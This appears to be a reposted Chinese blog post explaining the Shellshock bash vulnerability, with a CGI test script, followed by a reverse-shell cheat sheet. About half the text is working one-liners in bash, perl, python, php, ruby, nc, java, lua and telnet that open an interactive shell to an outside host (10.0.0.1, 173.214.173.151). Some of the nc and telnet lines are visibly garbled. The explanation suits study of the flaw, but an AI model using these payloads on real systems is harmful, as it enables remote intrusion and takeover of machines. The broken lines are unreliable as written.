關於bash的shellshock漏洞


這一漏洞的描述如下:

Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187) is a vulnerability in GNU's bash shell that gives attackers access to run remote commands on a vulnerable system. If your system has not updated bash in since Tue Sep 30 2014: 1:32PM EST (See patch history), you're most definitely vulnerable and have been since first boot. This security vulnerability affects versions 1.14 (released in 1994) to the most recent version 4.3 according to NVD.

這里還有一個測試這一漏洞的腳本:

shellshock_test.sh

至於原理,看了半天,大概有點明白了:

  漏洞的關鍵在於bash會把定義的各種函數放到env里面去,大致的格式如下:

$ function foo { echo bar; } $ export -f foo $ env | grep -A1 foo foo=() { echo bar }

  這樣的話,是不是可以放一個假的函數進去呢?答案是,可以!而且,這里的關鍵在於,這里它執行函數的時候,不是檢測完整的“{}”對,而是簡單的執行“{”之后的所有bash代碼!!!也包括你放進去的代碼。。。所以,為什么不放點東西進去讓它執行?

  那么話說回來了,是不是不執行bash不就完事了?理論上是這樣的。但是,事情總有意外,比如,你在編程的時候使用了systcall之類的,去運行了shell指令。你的程序繼承了父程序的環境變量,你調用的systemcall空間繼承了你程序的環境變量,然后,它就可能順帶的執行被注入到環境變量中的代碼。

下面是360提供的簡單測試sh的一個方案:

1. 服務器端有一個shell腳本,內容隨意,可以如下:

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo '<html>'

echo '<head>'

echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'

echo '<title>PoC</title>'

echo '</head>'

echo '<body>'

echo '<pre>'

/usr/bin/env

echo '</pre>'

echo '</body>'

echo '</html>'

exit 0

2. 此時,用戶端是可以用瀏覽器,curl,wget,nc...等等工具去連接你的服務器,並觸發這個腳本的。比如,curl,可以看到:

3. 注意,這是正常情況!!!正常情況就是該顯示嘛,就顯示嘛!!!但是,WEB服務器都是把http的header都先放到ENV里面去的。所以,有了下面的訪問(nc和wget類似,給傳header就行):

4.咳咳。。然后你就歡快的看到了下面的情形。http的header被服務器放到了ENV里;ENV被作為cgi的bash腳本繼承。當作為cgi的shell腳本執行時,注入的這一個“假函數”也被執行。而這一段假函數做的事,則是把bash掛到“某IP”的8080端口上。。。所以,在“某IP”上用nc監聽時,我們看到bash熱情的向我們奔來。

 

順帶搜了下其他的反彈shell的方式。。。只在這里做個記錄,大致看了下,有些有錯誤的。基本上都是建立一個tcp鏈接,然后把bash以交互式方式打開(-i interactive),然后把輸入輸出都重定向到這條TCP鏈接上。

bash版本:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
注意這個是由解析shell的bash完成,所以某些情況下不支持
 
perl版本:
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
 
python版本:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
 
php版本:
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’
 
ruby版本:
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
 
nc版本:
1 nc -e /bin/sh 10.0.0.1 1234
2 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
3  nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
 
java版本:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
 
lua版本:
lua -e “require(’socket’);require(‘os’);t=socket.tcp();t:connect(‘10.0.0.1′,’1234′);os.execute(‘/bin/sh -i <&3 >&3 2>&3′);”
 
nc不使用-e:
Hacker:nc -lvnp listenport
Victim:mknod /tmp/backpipe p
Victim:/bin/sh 0/tmp/backpipe
 
不使用nc
Method 1:
Hacker: nc -nvlpp 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
 
Method 2:
Hacker: nc -nvlpp8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
 
Method 3:
Hacker: nc -nvlpp8080
Hacker: nc -nvlpp8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888
 
參考:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM